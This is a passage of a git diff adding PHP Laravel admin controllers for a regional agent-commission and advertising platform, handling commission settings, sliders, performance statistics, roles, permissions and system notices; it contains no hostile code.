+        $res = Proxy::whereAreaType(0)->with('proxyInviteModel')->get();
+        return showJsonSucc(1001, $res);
+    }
+    /**
+     * [global_set 区代理设置-获取全局设置]
+     * @author lgs
+     * @DateTime 2019-04-30T09:47:13+0800
+     * @return   [type]                   [全局设置的字段]
+     */
+    public function global_set(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'required|integer',
+            'city' => 'required|integer',
+            'district' => 'required|integer',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $f = Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->where('user_level',6)->select('proxy_invite_global as f_proxy_invite_global','adver_invite_global as f_adver_invite_global','min_money','money','guarantee_min_money')->first()->toArray();//F级区县代理分佣、广告分佣
+        $g = Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->where('user_level',7)->select('proxy_invite_global as g_proxy_invite_global','adver_invite_global as g_adver_invite_global')->first()->toArray();//G级市代理分佣、广告分佣
+        $res = array_merge($f,$g);
+        return showJsonSucc(1001, $res);
+    }
+    /**
+     * [modify_global 城区代理全局修改]
+     * @author lgs
+     * @DateTime 2019-04-30T11:19:39+0800
+     * @return   [type]                   [description]
+     */
+    public function modify_global(Request $request){
+        $validator = \Validator::make($param = $request->all(), [
+            'f_proxy_invite_global' => 'required|numeric',
+            'f_adver_invite_global' => 'required|numeric',
+            'money' => 'required|numeric',
+            'min_money' => 'required|numeric',
+            'g_proxy_invite_global' => 'required|numeric',
+            'g_adver_invite_global' => 'required|numeric',
+            'province' => 'required|integer',
+            'city' => 'required|integer',
+            'district' => 'required|integer',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        \DB::beginTransaction();
+        try {
+            Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->where('user_level',6)->update([
+                'proxy_invite_global' => $param['f_proxy_invite_global'],
+                'adver_invite_global' => $param['f_adver_invite_global'],
+            ]);
+            Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->where('user_level',7)->update([
+                'proxy_invite_global' => $param['g_proxy_invite_global'],
+                'adver_invite_global' => $param['g_adver_invite_global'],
+            ]);
+            Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->update([
+                'money' => $param['money'],
+                'min_money' => $param['min_money'],
+                'guarantee_min_money' => empty($param['guarantee_min_money'])?0:$param['guarantee_min_money'],
+            ]);
+            \DB::commit();
+            return showJsonSucc('设置成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+    /**
+     * 修改信息
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @description
+     */
+    public function modify(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:proxy,id',
+            'upgrade_money' => 'required|numeric',
+            'upgrade_business_month' => 'required|numeric',
+            'upgrade_business_year' => 'required|numeric',
+            'upgrade_invite' => 'required|numeric',
+            'proxy_invite' => 'required|numeric',
+            'proxy_invite_global' => 'required|numeric',
+            'adver_invite' => 'required|numeric',
+            'adver_invite_global' => 'required|numeric',
+            'money' => 'required|numeric',
+            'min_money' => 'required|numeric',
+            'coin' => 'required|numeric',
+            'proxyInvite' => 'array',
+            'apply_money' => 'required|numeric',    //申请区县代理费用
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+
+        // 然后根据省市区id和等级查询出符合条件的数据(单条)然后进行数据更新操作
+
+
+        $proxyData = array_filter($param, function ($item, $key) {
+            return in_array($key, [
+                'upgrade_money',
+                'upgrade_business_month',
+                'upgrade_business_year',
+                'upgrade_invite',
+                'proxy_invite',
+                'proxy_invite_global',
+                'adver_invite',
+                'adver_invite_global',
+                'money',
+                'min_money',
+                'coin',
+                'apply_money',
+                'protocol'
+            ]);
+        }, ARRAY_FILTER_USE_BOTH);
+
+        \DB::beginTransaction();
+        try {
+            Proxy::whereId($param['id'])->update($proxyData);
+            //addby wsl start
+            // if(!empty($proxyData['apply_money'])&&$proxyData['apply_money']>0){
+            //     //更改所有属于当前市的G级城市代理金额
+            //     $curproxy=Proxy::whereId($param['id'])->first();
+            //     $proxyGarr=Proxy::whereProvince($curproxy->province)
+            //         ->whereCity($curproxy->city)->whereUserLevel(7)->get();
+            //     $parr=[];
+            //     if(!empty($proxyGarr)){
+            //         foreach ($proxyGarr as $gk=>$gv){
+            //             $parr[]=$gv->id;
+            //         }
+            //     }
+            //     if(!empty($parr))Proxy::whereIn('id',$parr)->update(['apply_money'=>$param['apply_money']]);
+            // }
+            //addby wsl end
+
+            // 更新代理区域百分比信息
+            foreach ($param['proxyInvite'] as $pi) {
+                $proxyInvite = ProxyInvite::find($pi['id']);
+
+                // if ($proxyInvite->position == 2 && ($pi['max'] < $pi['min'] || $pi['max'] < 0 || $pi['min'] < 0)) { // 区间范围
+                //     return showJsonErr('请输入正确的数据');
+                // } else if ($proxyInvite->position == 1) { // 小于
+                //     $pi['max'] = 0;
+                // } else if ($proxyInvite->position == 3) { // 大于
+                //     $pi['min'] = 0;
+                // }else if ($proxyInvite->position == 4) {
+                //     $pi['max'] = 0;
+                // }
+                ProxyInvite::whereId($pi['id'])->update([
+                    'pct' => $pi['pct'],
+                    'min' => $pi['min'],
+                    'max' => $pi['max'],
+                ]);
+            }
+
+            \DB::commit();
+            return showJsonSucc('设置成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+
+    /**
+     * 设置用户配置
+     * @author lyh
+     * @date 2019/4/9
+     * @param Request $request
+     * @description
+     */
+    public function setByUser(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+            'coin' => 'numeric',
+            'type' => 'required|integer|between:0,2', //0-其他设置 1-代理 2-广告
+            'proxy' => 'required_if:type,1,2',// 直推
+            'proxy_one' => 'required_if:type,1,2', // 间一
+            'proxy_one_left' => 'required_if:type,1,2', // 间一
+            'proxy_one_right' => 'required_if:type,1,2', // 间一
+            'proxy_two' => 'required_if:type,1,2', // 间二
+            'proxy_two_left' => 'required_if:type,1,2', // 间二
+            'proxy_two_right' => 'required_if:type,1,2', // 间二
+            //'money' => 'numeric', // 广告计费金额
+            //'min_money' => 'numeric', // 广告起投
+            'free_num' => 'integer', // 免费次数
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $user = User::find($param['id']);
+
+        $proxyData = [];
+        // 点币汇率
+        if (isset($param['coin'])) {
+            $proxyData['coin'] = $param['coin'];
+        }
+
+        // 广告每次/元
+        if (!empty($param['money'])) {
+           // $proxyData['money'] = $param['money'];
+        }
+
+        //广告发布最低额度
+        if (!empty($param['min_money'])) {
+            //$proxyData['min_money'] = $param['min_money'];
+        }
+
+        // 广告免费次数
+        if (!empty($param['free_num'])) {
+            $proxyData['free_num'] = $param['free_num'];
+        }
+
+        // 代理、广告直推
+        if ($param['type'] == 2) {
+            $proxyData['adver_invite'] = $param['proxy'];
+        } else if ($param['type'] == 1) {
+            $proxyData['proxy_invite'] = $param['proxy'];
+        }
+
+        \DB::beginTransaction();
+        try {
+            $proxy = Proxy::whereUid($param['id'])->whereUserLevel($user->level)->first();
+            if ($proxy) {
+                if (!!isset($proxyData)) {
+                    $result = Proxy::whereId($proxy->id)->update($proxyData);
+                }
+                $id = $proxy->id;
+            } else {
+                $proxyConfig = Proxy::getConfig($param['id']);
+                $proxyOldData = [
+                    'uid' => $param['id'],
+                    'user_level' => $proxyConfig->user_level,
+                    'province' => $proxyConfig->province,
+                    'city' => $proxyConfig->city,
+                    'district' => $proxyConfig->district, //区域类型 0-所有区域 1-省 2-市 3-区 4-个人
+                    'area_type' => 4,
+                    'upgrade_money' => $proxyConfig->upgrade_money,
+                    'upgrade_business_month' => $proxyConfig->upgrade_business_month,
+                    'upgrade_business_year' => $proxyConfig->upgrade_business_year,
+                    'upgrade_invite' => $proxyConfig->upgrade_invite,
+                    'proxy_invite' => $proxyConfig->proxy_invite,
+                    'proxy_invite_global' => $proxyConfig->proxy_invite_global,
+                    'adver_invite' => $proxyConfig->adver_invite,
+                    'adver_invite_global' => $proxyConfig->adver_invite_global,
+                    'money' => $proxyConfig->money,
+                    'min_money' => $proxyConfig->min_money,
+                    'coin' => $proxyConfig->coin,
+                    'free_num' => 0, // 广告免费次数不继承
+                ];
+                $proxyData = array_merge($proxyOldData, $proxyData);
+                $result = $id = Proxy::insertGetId($proxyData);
+
+                // 将广告/代理的直推/间一/间二的数据迁移成为独立的一份
+                $proxyInvite = $proxyConfig->invite;
+                if (empty($proxyInvite)) {
+                    \DB::rollBack();
+                    return showJsonErr('比例配置为空');
+                }
+
+                foreach ($proxyInvite as $item) {
+                    $PIresult = ProxyInvite::insert([
+                        'proxy_id' => $id,
+                        'title' => $item->title,
+                        'min' => $item->min,
+                        'max' => $item->max,
+                        'pct' => $item->pct,
+                        'type' => $item->type,
+                        'proxy_type' => $item->type,
+                        'position' => $item->position
+                    ]);
+                    if (!$PIresult) {
+                        \DB::rollBack();
+                        return showJsonErr('迁移比例配置失败');
+                    }
+                }
+                User::whereId($param['id'])->update(['commission_status' => 2]);
+
+            }
+
+            // 1-代理 2-广告 比例设置,则更新比例
+            if (in_array($param['type'], [1, 2])) {
+                // 间推一
+                if ($param['proxy_one_left']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 1)->whereType(1)->update(['pct' => $param['proxy_one_left']]);
+                }
+                if ($param['proxy_one']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 2)->whereType(1)->update(['pct' => $param['proxy_one']]);
+                }
+                if ($param['proxy_one_right']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 3)->whereType(1)->update(['pct' => $param['proxy_one_right']]);
+                }
+
+                // 间推二
+                if ($param['proxy_one_left']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 1)->whereType(2)->update(['pct' => $param['proxy_one_left']]);
+                }
+                if ($param['proxy_one']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 2)->whereType(2)->update(['pct' => $param['proxy_one']]);
+                }
+                if ($param['proxy_one_right']) {
+                    ProxyInvite::whereProxyId($id)->where('position', '=', 3)->whereType(2)->update(['pct' => $param['proxy_one_right']]);
+                }
+            }
+
+            if (empty($result)) {
+                \DB::rollBack();
+                return showJsonErr('设置信息失败');
+            }
+
+            \DB::commit();
+            return showJsonSucc('设置信息成功', Proxy::getConfig($param['id']));
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+}

+ 63 - 0
app/Http/Controllers/Admins/SliderController.php

@@ -0,0 +1,63 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Slider;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Storage;
+
+class SliderController extends Controller
+{
+	public function add(Request $request){
+		$param = array_filter($request->all());
+		if (empty($param['img'])) {
+			  return showJsonErr('图片不能为空');
+		}
+		// $path = Storage::disk('api')->putFile('upload/slider', $param['pic']);
+		$res = Slider::insert($param);
+		if (!$res) {
+			return showJsonErr('轮播图添加失败');
+		}
+        return showJsonSucc('添加轮播图成功');
+	}
+
+	public function update(Request $request){
+		$validator = \Validator::make($param = $request->all(), [
+            'id' => 'exists:slider,id',
+            'img' => 'required',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $res = Slider::whereId($param['id'])->update($param);
+		if (!$res) {
+			return showJsonErr('轮播图编辑失败');
+		}
+        return showJsonSucc('轮播图编辑成功');
+	}
+	
+	public function index(){
+		$data = Slider::orderBy('sort','desc')->get();
+		collect($data)->each(function ($item, $key) {
+			// $item->img = Storage::disk('api')->url($item->url);
+			// $item->img = $item->url; 
+		});
+		
+		return showJsonSucc(1001, $data);
+	}
+	//删除轮播图
+	public function del(Request $request){
+		$validator = \Validator::make($param = $request->all(), [
+            'id' => 'exists:slider,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $res = Slider::whereId($param['id'])->delete();
+		if (!$res) {
+			return showJsonErr('轮播图删除失败');
+		}
+        return showJsonSucc('轮播图删除成功');
+	}
+}

+ 278 - 0
app/Http/Controllers/Admins/StatController.php

@@ -0,0 +1,278 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdminArea;
+use App\Modes\Stat;
+use App\Modes\User;
+use App\Modes\Proxy;
+use App\Modes\Order;
+use Carbon\Carbon;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class StatController extends Controller
+{
+    /**
+     * 月任务量完成情况统计 此处数据不对不统计了
+     * @author lyh
+     * @date 2019/4/8
+     * @modify_author lyh
+     * @modify_time 2019-4-26 11:32:49
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function goalInMonthlyh(Request $request)
+    {
+        $validate = \Validator::make($param = $request->all(), [
+            'year' => 'required|integer|min:2019|max:2099',
+            'month' => 'integer|min:1|max:12'
+        ]);
+        if ($validate->fails()) {
+            return showJsonErr($validate->errors()->first());
+        }
+
+        $res = [];
+        if (empty($param['month'])) {
+            for ($i = 1; $i < 12; $i++) {
+                $stat = Stat::where('date', $param['year'] . $i)->whereType(2)->with(['User' => function ($query) {
+                    $query->select(['id', 'nick_name', 'mobile']);
+                }]);
+
+                // 城市代理管理员只能查看该地区代理的用户
+                if (\Auth::user()->is_super == 3) {
+                    $stat = $stat->whereIn('uid', getIds());
+                }
+                $stat = $stat->first();
+                if ($stat) {
+                    $res[] = $stat;
+                }
+            }
+        } else {
+            $startmonth=$param['year'].'-'.$param['month'].'-01';
+            $endmonth=date('Y-m-d H:i:s', strtotime(date('Y-m-01', strtotime($startmonth)) . ' +1 month'));
+            $stat = Stat::whereBetween('date',[$startmonth , $endmonth])->whereType(2)->with(['User' => function ($query) {
+                $query->select(['id', 'nick_name', 'mobile']);
+            }]);
+
+            // 区分系统管理员与地区管理员数据
+            if (\Auth::user()->is_super == 3) {
+                $stat = $stat->whereIn('uid', getIds());
+            }
+
+            $res = $stat->get();
+        }
+        return showJsonSucc(1001, $res);
+    }
+    /*
+     * 月任务量完成情况统计  wsl 20190702
+     *仅展示已完成目标的代理
+     * */
+    public function goalInMonth(Request $request){
+        $validate = \Validator::make($param = $request->all(), [
+            'year' => 'required|integer|min:2019|max:2099',
+            'month' => 'integer|min:1|max:12'
+        ]);
+        if ($validate->fails()) {
+            return showJsonErr($validate->errors()->first());
+        }
+
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3) {
+            $users = User::whereIn('id', getIds())->select('level','province','city','district','id','mobile','nick_name')->get();
+        }else{
+            $user=User::select('level','province','city','district','id','mobile','nick_name');
+            //管理员查看对应的代理
+            $district=AdminArea::getAdminArea();
+            if(!empty($district)){
+                if(!empty($district['city'])){
+                    $user->whereCity($district['city']);
+                }else{
+                    $user->whereDistrict($district['district']);
+                }
+
+            }
+            $users=$user->get();
+        }
+        $res=[];
+        //计算任务量
+        $total=0;//总完成任务量
+        $kk=0;
+        foreach($users as $key=>$item){
+            $childarr=User::where('invitor','=',$item->id)->get(['id']);
+            $childarr=$childarr->toArray();
+            $arr=[];
+            if(!empty($childarr)){
+                foreach ($childarr as $ke=>$ve){
+                    $arr[]=$ve['id'];
+                }
+            }
+            $montstat=$this->getMonthOrYearStat($item->id,$arr,$param['year'],$param['month']);//已完成的月任务量
+            if(($item->level+1)<=7){
+                $setting=Proxy::getSettingByAreaAndLevel($item->level+1,$item->province,$item->city,$item->district);
+                //目标任务量
+                if(!empty($setting)&&$montstat>=$setting['upgrade_business_month'] && $setting['upgrade_business_month']!='0.000'){
+                    $res[$kk]['id']=$kk+1;
+                    $res[$kk]['province']=$item->province;
+                    $res[$kk]['city']=$item->city;
+                    $res[$kk]['district']=$item->district;
+                    $res[$kk]['current']=round($montstat,3);
+                    $res[$kk]['goal']=$setting['upgrade_business_month'];
+                    $res[$kk]['date']=$param['year'].$param['month'];
+                    $res[$kk]['user']=['id'=>$item->id,'nick_name'=>$item->nick_name,'mobile'=>$item->mobile];
+                    $kk++;
+                }
+            }
+
+            $total+=$montstat;
+        }
+        if(!empty($res)){
+            foreach($res as $k=>$v){
+                //$res[$k]['percent']=round($v['current']/$total,2)*100;
+                $res[$k]['percent']=sprintf("%.4f",$v['current']/$total)*100;
+            }
+        }
+
+        return showJsonSucc(1001, $res);
+    }
+        /*
+     * 计算当月或者当年的业绩
+     * addby wsl 20190626
+     *
+     * */
+    public static function getMonthOrYearStat($uid,$childarr,$year=0,$month=0){
+        if(!empty($month)){
+            //yue
+            $startime=$year.'-'.$month.'-01';
+            $endmonth=date('Y-m-d H:i:s', strtotime(date('Y-m-01', strtotime($startime)) . ' +1 month'));
+        }else{
+            //nian
+            $startime=$year.'-'.'01-01 00:00:00';
+            $endmonth=($year+1).'-'.'01-01 00:00:00';
+        }
+
+        if(!empty($childarr)){
+            $sumprice=Order::where(function ($query) use ($childarr,$uid){
+                $query->where('uid','=',$uid)
+                    ->orWhere(function ($query) use ($childarr){
+                        $query->whereIn('uid',$childarr)
+                            ->where('type','=',2);
+                    });
+            })->where('is_pay','=',1)
+               ->whereBetween('created_at',[$startime,$endmonth])
+                ->sum('price');
+        }else{
+            $sumprice=Order::where('uid','=',$uid)
+                ->where('is_pay','=',1)
+                ->whereBetween('created_at',[$startime,$endmonth])
+                ->sum('price');
+        }
+
+        return $sumprice;
+    }
+
+    /**
+     * 年任务量完成情况统计   数据错误此处不用了
+     * @author lyh
+     * @date 2019/4/8
+     * @modify_author lyh
+     * @modify_time 2019-4-26 11:26:31
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @description
+     */
+    public function goalInYearlyh(Request $request)
+    {
+
+        $validate = \Validator::make($param = $request->all(), [
+            'year' => 'required|integer|min:2019|max:2099',
+        ]);
+        if ($validate->fails()) {
+            return showJsonErr($validate->errors()->first());
+        }
+        $stat = Stat::where('date', $param['year'])->whereType(1)->with(['User' => function ($query) {
+            $query->select(['id', 'nick_name', 'mobile']);
+        }]);
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3) {
+            $stat = $stat->whereIn('uid', getIds());
+        }
+
+        $res = $stat->get();
+
+        return showJsonSucc(1001, $res);
+    }
+    public function goalInYear(Request $request){
+        $validate = \Validator::make($param = $request->all(), [
+            'year' => 'required|integer|min:2019|max:2099',
+            //'month' => 'integer|min:1|max:12'
+        ]);
+        if ($validate->fails()) {
+            return showJsonErr($validate->errors()->first());
+        }
+
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3) {
+            $users = User::whereIn('id', getIds())->select('level','province','city','district','id','mobile','nick_name')->get();
+        }else {
+
+            $user=User::select('level','province','city','district','id','mobile','nick_name');
+            //管理员查看对应的代理
+            $district=AdminArea::getAdminArea();
+            if(!empty($district)){
+                if(!empty($district['city'])){
+                    $user->whereCity($district['city']);
+                }else{
+                    $user->whereDistrict($district['district']);
+                }
+
+            }
+            $users=$user->get()->toArray();
+            
+        }
+        $res=[];
+        //计算任务量
+        $total=0;//总完成任务量
+        $kk=0;
+        foreach($users as $key=>$item){
+            $childarr=User::where('invitor','=',$item->id)->get(['id']);
+            $childarr=$childarr->toArray();
+            $arr=[];
+            if(!empty($childarr)){
+                foreach ($childarr as $ke=>$ve){
+                    $arr[]=$ve['id'];
+                }
+            }
+            $montstat=$this->getMonthOrYearStat($item['id'],$arr,$param['year']);//已完成的年任务量
+            if(($item['level']+1)<=7) {
+                $setting = Proxy::getSettingByAreaAndLevel($item['level'] + 1, $item['province'], $item['city'], $item['district']);
+                //目标任务量
+                if (!empty($setting) && $montstat >= $setting['upgrade_business_month'] && $setting['upgrade_business_month'] != '0.000') {
+                    $res[$kk]['id'] = $kk + 1;
+                    $res[$kk]['province'] = $item['province'];
+                    $res[$kk]['city'] = $item['city'];
+                    $res[$kk]['district'] = $item['district'];
+                    $res[$kk]['current'] = round($montstat, 3);
+                    $res[$kk]['goal'] = $setting['upgrade_business_month'];
+                    $res[$kk]['date'] = $param['year'];
+                    $res[$kk]['user'] = ['id' => $item['id'], 'nick_name' => $item['nick_name'], 'mobile' => $item['mobile']];
+                    $kk++;
+                }
+            }
+            $total+=$montstat;
+        }
+        if(!empty($res)){
+            foreach($res as $k=>$v){
+                //round($v['current']/$total,3)*100;
+                $res[$k]['percent']=sprintf("%.4f",$v['current']/$total)*100;
+                $res[$k]['total']=$total;
+            }
+        }
+
+        return showJsonSucc(1001, $res);
+    }
+}

+ 41 - 0
app/Http/Controllers/Admins/SystemModelHasPermissionsController.php

@@ -0,0 +1,41 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class SystemModelHasPermissionsController extends Controller
+{
+    /**
+     * 权限列表
+     * @author lyh
+     * @date 2019/4/1
+     * @description
+     * 影子用户的权限列表
+     *
+     */
+    public function list()
+    {
+        $permission = \Auth::user()->permissions;
+        return showJson(101, 1001, $permission);
+    }
+
+    /**
+     * 给影子用户分发权限
+     * @author lyh
+     * @date 2019/4/1
+     * @description
+     */
+    public function dispath(Request $request)
+    {
+        $param = $request->all();
+        $user = User::find($param['suid']);
+        $res = $user->givePermissionTo($param['permissionId']);
+        if (empty($res)) {
+            return showJsonErr('分发权限失败');
+        }
+        return showJsonSucc('分发权限成功');
+    }
+}

+ 79 - 0
app/Http/Controllers/Admins/SystemModelHasRolesController.php

@@ -0,0 +1,79 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\SystemUser;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Auth;
+use Spatie\Permission\Models\Role;
+
+class SystemModelHasRolesController extends Controller
+{
+    /**
+     * 给管理员分配角色
+     * @author fatty
+     * @date 2019/1/7
+     * @param $id
+     * @param $roles
+     * @description
+     */
+    public function create(Request $request)
+    {
+        if($request->post('roleid')==1){
+            return showJsonErr('抱歉,该用户不能授予超级管理员权限');
+        }
+        $systemUser = User::find($request->post('suid'));
+
+        // 判断拥有管理权限的用户才能授予角色
+        /*if (!in_array($systemUser->isSuper, [2, 3])) {
+            return showJsonErr('抱歉,该用户不能授予管理权限.');
+        }*/
+        foreach ($systemUser->roles as $role) {
+            $systemUser->removeRole($role);
+        }
+
+
+        $role = Role::findById($request->post('roleid'), config('permission.guard'));
+
+        return showJson(101, 1001, $systemUser->assignRole($role));
+    }
+
+    /**
+     * 管理员拥有的权限
+     * @author fatty
+     * @date 2019/1/8
+     * @param $id
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @throws \Exception
+     * @description
+     */
+    public function show($id)
+    {
+        $systemUser = User::find($id);
+        return showJson(101, 1001, [
+            'role' => $systemUser->roles,
+            'permission' => $systemUser->getPermissionsViaRoles()
+        ]);
+    }
+
+    /**
+     * 角色可以从管理员中删除
+     * @author fatty
+     * @date 2019/1/8
+     * @param $uid
+     * @description
+     */
+    public function removeRole(Request $request)
+    {
+        $user = User::find($request->post('suid'));
+        if ($user->is_super == 1) {
+            return showJsonErr('抱歉,您没有权限操作');
+        }
+        $role = Role::findById($request->post('roleid'), config('permission.guard'));
+        $user->removeRole($role);
+
+        return showJsonSucc('移除角色成功', $user->roles());
+    }
+}

+ 122 - 0
app/Http/Controllers/Admins/SystemNoticeController.php

@@ -0,0 +1,122 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Area;
+use App\Modes\SystemNotice;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class SystemNoticeController extends Controller
+{
+    /**
+     * 公告列表
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'orderByCreatedAt' => 'string|in:desc,asc'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $res = SystemNotice::orderBy('created_at', $param['orderByCreatedAt'] ?? 'desc')->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->provinceMsg = Area::getName($item->province);
+                $item->cityMsg = Area::getName($item->city);
+                $item->districtMsg = Area::getName($item->district);
+
+                $item->cerated_user = User::select(['nick_name'])->whereId($item->created_uid)->first();
+            });
+        }
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 公告详情
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function show(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+    }
+
+    /**
+     * 公告编辑
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'exists:area,id',
+            'city' => 'exists:area,id',
+            'district' => 'integer',
+            'content' => 'required',
+            'title' => 'required'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $param['created_uid'] = \Auth::id();
+
+        \DB::beginTransaction();
+        try {
+            SystemNotice::insert($param);
+
+            if (!empty($param['province'])) {
+                $ids = User::whereProvince($param['province'])
+                    ->whereCity($param['city'] ?? 0)
+                    ->whereDistrict($param['district'] ?? 0)
+                    ->where('is_frontend', '=', 1)
+                    ->pluck('id');
+
+                foreach ($ids as $id) {
+                    UserMsg::insert([
+                        'title' => $param['title'],
+                        'uid' => $id,
+                        'type' => 1,
+                        'content' => $param['content']
+                    ]);
+                }
+                
+                UserMsg::SendToList(['title' => $param['title'],'content' => $param['content']],$ids);
+            } else {
+                $msgarr=['title'=>$param['title'],
+                    'uid'=>0,
+                    'type'=>14,
+                    'content'=>$param['content']];
+                UserMsg::SendQuntui($msgarr);
+            }
+
+
+            \DB::commit();
+            return showJsonSucc('添加公告成功');
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+}

+ 139 - 0
app/Http/Controllers/Admins/SystemPermissionsController.php

@@ -0,0 +1,139 @@
+<?php
+
+namespace App\Http\Controllers\admins;
+
+use App\Modes\SystemPermissions;
+use App\Modes\SystemRoleHasPermissions;
+use App\Modes\User;
+use Encore\Admin\Facades\Admin;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Spatie\Permission\Models\Permission;
+
+class SystemPermissionsController extends Controller
+{
+    protected $tree = [];
+
+
+    /**
+     * 权限-列表
+     * @author fatty
+     * @date 2019/1/8
+     * @description
+     */
+    public function index()
+    {
+        $permission = User::find(\Auth::id())->getAllPermissions();
+        return showJson(101, 1001, $permission);
+    }
+
+    /**
+     * 权限-添加
+     * @author fatty
+     * @date 2019/1/4
+     * @description
+     */
+    public function create(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'path' => 'required',
+            'pid' => 'required|numeric',
+            'remark' => 'required',
+            'name' => 'required',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if (Permission::whereName($request->post('name'))->exists()) {
+            return showJsonErr('权限名称已存在', $request->post('name'));
+        }
+        $permission = SystemPermissions::create($request->all());
+        return showJson(101, 1001, $permission);
+    }
+
+    /**
+     * 权限-删除
+     * @author fatty
+     * @date 2019/1/9
+     * @param $id
+     * @description
+     * 删除角色关联
+     * 删除权限
+     */
+    public function del($id)
+    {
+        $result = SystemPermissions::del($id);
+        if (empty($result)) {
+            return showJson(102, '删除权限失败');
+        }
+        return showJson(101, '删除权限成功');
+    }
+
+    /**
+     * 详情
+     * @author fatty
+     * @date 2019/1/9
+     * @param $id
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function show($id)
+    {
+        $permission = Permission::findById($id, config('permission.guard'));
+        return showJson(101, 1001, $permission);
+    }
+
+    /**
+     * 编辑
+     * @author fatty
+     * @date 2019/1/9
+     * @description
+     */
+    public function edit(Request $request)
+    {
+        $post = filterReq($request->all(), ['pid', 'name', 'id', 'remark', 'path', 'status']);
+
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|numeric'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $permission = SystemPermissions::edit($post);
+        return showJson(101, '编辑权限成功', $permission);
+    }
+
+    public function tree(Request $request)
+    {
+        $user = User::find(Admin()->id);
+
+        $permission = $user->getAllPermissions();
+
+        // var_dump($permission);exit;
+
+        $tree = self::getTree($permission);
+
+        return showJsonSucc(1001, $tree);
+    }
+
+
+    private static function getTree(\Illuminate\Support\Collection $permission, $pid = 0)
+    {
+        $tree = [];
+        foreach ($permission as $item) {
+            if ($item->pid == $pid) {
+                $tree[] = [
